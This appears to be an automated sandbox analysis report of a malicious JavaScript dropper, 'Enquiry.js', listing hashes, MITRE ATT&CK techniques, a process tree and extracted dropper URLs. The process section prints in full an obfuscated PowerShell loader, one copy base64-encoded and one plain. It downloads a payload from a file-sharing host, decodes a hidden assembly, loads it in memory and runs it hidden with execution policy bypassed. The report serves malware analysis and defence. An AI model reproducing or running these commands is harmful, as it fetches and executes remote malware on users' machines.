7c9332df56fc0061fc832475af43d1c94636a5f8710011b3952dc98716f20899

General

Target

Enquiry.js
Size

225KB
MD5

90480a98c3f20658dcc43fa6db7bd562
SHA1

1a379838129904188cd08ffe9c645a5daba3bea5
SHA256

7c9332df56fc0061fc832475af43d1c94636a5f8710011b3952dc98716f20899
SHA512

05f8c16e4ec8af3939a7fea5b8e4adde852ba00e5b0513aedaad7afeaf556741094fff75681bdbe070e3de62fc9f3c76939271c004a4bf308e38ea20126b611d
SSDEEP

6144:C2KZgSq+QdBA5gC/2KZgSq+QdR2KZgSq+QdBA5gC/2KZgSq+Qdt:C2KZgSq+QdBA5gC/2KZgSq+QdR2KZgSm

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://1016.filemail.com/api/file/get?filekey=0RUgbZ-8FbUsLkmTHKk7vmioQRpHGD8qVMkgf-v_Yna_Wu4TdrJepse70JUd-j9UMfry&pk_vid=e0109638c9bfb9571732794374a1ff6c

exe.dropper

https://1016.filemail.com/api/file/get?filekey=0RUgbZ-8FbUsLkmTHKk7vmioQRpHGD8qVMkgf-v_Yna_Wu4TdrJepse70JUd-j9UMfry&pk_vid=e0109638c9bfb9571732794374a1ff6c

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	2620	powershell.exe
6	2620	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2804	powershell.exe
2620	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2804	powershell.exe
2620	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.exepowershell.exe

description	pid	Process	procid_target
PID 2748 wrote to memory of 2804	2748	wscript.exe	30
PID 2748 wrote to memory of 2804	2748	wscript.exe	30
PID 2748 wrote to memory of 2804	2748	wscript.exe	30
PID 2804 wrote to memory of 2620	2804	powershell.exe	32
PID 2804 wrote to memory of 2620	2804	powershell.exe	32
PID 2804 wrote to memory of 2620	2804	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Enquiry.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pedantice = 'JABkAGkAcwB0AHUAcgBiAGEAcgAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwAxADAAMQA2AC4AZgBpAGwAZQBtAGEAaQBsAC4AYwBvAG0ALwBhAHAAaQAvAGYAaQBsAGUALwBnAGUAdAA/AGYAaQBsAGUAawBlAHkAPQAwAFIAVQBnAGIAWgAtADgARgBiAFUAcwBMAGsAbQBUAEgASwBrADcAdgBtAGkAbwBRAFIAcABIAEcARAA4AHEAVgBNAGsAZwBmAC0AdgBfAFkAbgBhAF8AVwB1ADQAVABkAHIASgBlAHAAcwBlADcAMABKAFUAZAAtAGoAOQBVAE0AZgByAHkAJgBwAGsAXwB2AGkAZAA9AGUAMAAxADAAOQA2ADMAOABjADkAYgBmAGIAOQA1ADcAMQA3ADMAMgA3ADkANAAzADcANABhADEAZgBmADYAYwAgACcAOwAkAGcAdQBpAG4AZABhAGwAZQB0AGEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAbAB1AGkAcgAgAD0AIAAkAGcAdQBpAG4AZABhAGwAZQB0AGEALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAZABpAHMAdAB1AHIAYgBhAHIAKQA7ACQAcABzAHkAbABsAG8AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABsAHUAaQByACkAOwAkAGEAcABlAHQAaQBiAGkAbABpAGQAYQBkAGUAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGEAdgBpAG4AYwB1ACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAkAGcAbwByAGQAdQBjAGgAbwAgAD0AIAAkAHAAcwB5AGwAbABvAC4ASQBuAGQAZQB4AE8AZgAoACQAYQBwAGUAdABpAGIAaQBsAGkAZABhAGQAZQApADsAJABhAHIAYQBwAGkAbgBnAGEAIAA9ACAAJABwAHMAeQBsAGwAbwAuAEkAbgBkAGUAeABPAGYAKAAkAGEAdgBpAG4AYwB1ACkAOwAkAGcAbwByAGQAdQBjAGgAbwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGEAcgBhAHAAaQBuAGcAYQAgAC0AZwB0ACAAJABnAG8AcgBkAHUAYwBoAG8AOwAkAGcAbwByAGQAdQBjAGgAbwAgACsAPQAgACQAYQBwAGUAdABpAGIAaQBsAGkAZABhAGQAZQAuAEwAZQBuAGcAdABoADsAJABwAGUAcgBpAHMAcwBvAGwAbwBnAGkAYQAgAD0AIAAkAGEAcgBhAHAAaQBuAGcAYQAgAC0AIAAkAGcAbwByAGQAdQBjAGgAbwA7ACQAbQBlAHQAaABvAGQAaQBjAGEAbQBlAG4AdABlACAAPQAgACQAcABzAHkAbABsAG8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAZwBvAHIAZAB1AGMAaABvACwAIAAkAHAAZQByAGkAcwBzAG8AbABvAGcAaQBhACkAOwAkAGMAbwByAHIAaQBkAG8AIAA9ACAALQBqAG8AaQBuACAAKAAkAG0AZQB0AGgAbwBkAGkAYwBhAG0AZQBuAHQAZQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAbQBlAHQAaABvAGQAaQBjAGEAbQBlAG4AdABlAC4ATABlAG4AZwB0AGgAKQBdADsAJAB0AGEAbABpAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYwBvAHIAcgBpAGQAbwApADsAJABvAGkAcgBhAGQAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJAB0AGEAbABpAG0AKQA7ACQAcABlAGMAaABhACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAcABlAGMAaABhAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnAHQAeAB0AC4AOAA4ADIALwBlAGwAaQBmAC8AcgB0AC4AbQBvAGMALgBhAHkAYQBrAGkAbAByAGUAeQBhAGgAbABhAHQALwAvADoAcwBwAHQAdABoACcALAAgACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACAAJwAkAGUAbgBmAHUAbgBhAGQAbwAnACwAIAAnACQAZQBuAGYAdQBuAGEAZABvACcALAAgACcATQBTAEIAdQBpAGwAZAAnACwAIAAnACQAZQBuAGYAdQBuAGEAZABvACcALAAgACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAJABlAG4AZgB1AG4AYQBkAG8AJwAsACcAMQAnACwAJwAkAGUAbgBmAHUAbgBhAGQAbwAnACkAKQA7AA==';$torvamento = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($pedantice));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $torvamento
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$disturbar = 'https://1016.filemail.com/api/file/get?filekey=0RUgbZ-8FbUsLkmTHKk7vmioQRpHGD8qVMkgf-v_Yna_Wu4TdrJepse70JUd-j9UMfry&pk_vid=e0109638c9bfb9571732794374a1ff6c ';$guindaleta = New-Object System.Net.WebClient;$luir = $guindaleta.DownloadData($disturbar);$psyllo = [System.Text.Encoding]::UTF8.GetString($luir);$apetibilidade = '<<BASE64_START>>';$avincu = '<<BASE64_END>>';$gorducho = $psyllo.IndexOf($apetibilidade);$arapinga = $psyllo.IndexOf($avincu);$gorducho -ge 0 -and $arapinga -gt $gorducho;$gorducho += $apetibilidade.Length;$perissologia = $arapinga - $gorducho;$methodicamente = $psyllo.Substring($gorducho, $perissologia);$corrido = -join ($methodicamente.ToCharArray() | ForEach-Object { $_ })[-1..-($methodicamente.Length)];$talim = [System.Convert]::FromBase64String($corrido);$oirada = [System.Reflection.Assembly]::Load($talim);$pecha = [dnlib.IO.Home].GetMethod('VAI');$pecha.Invoke($null, @('txt.882/elif/rt.moc.ayakilreyahlat//:sptth', '$enfunado', '$enfunado', '$enfunado', 'MSBuild', '$enfunado', '$enfunado','$enfunado','$enfunado','$enfunado','$enfunado','$enfunado','1','$enfunado'));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9bbf99cda56d8e4155c84f7db0c3308d

SHA1
d369faac82059b2b0bda0577cf742c3e0c599a3c

SHA256
002a83b42a9e52e7e8e51ab0fd28b675ca23aa837d0b52ba6d4683e783404643

SHA512
048e4b9273d94bf3c21bf77e923ba7d16a37a7aebca1957fb295404dd432df628121ef88a8fb3a95e2ca32308417d7af13a4904e0d70ce27462c163f43f18102

Download Submit
memory/2804-4-0x000007FEF553E000-0x000007FEF553F000-memory.dmp

Filesize
4KB

Download
memory/2804-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2804-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2804-7-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-13-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-14-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads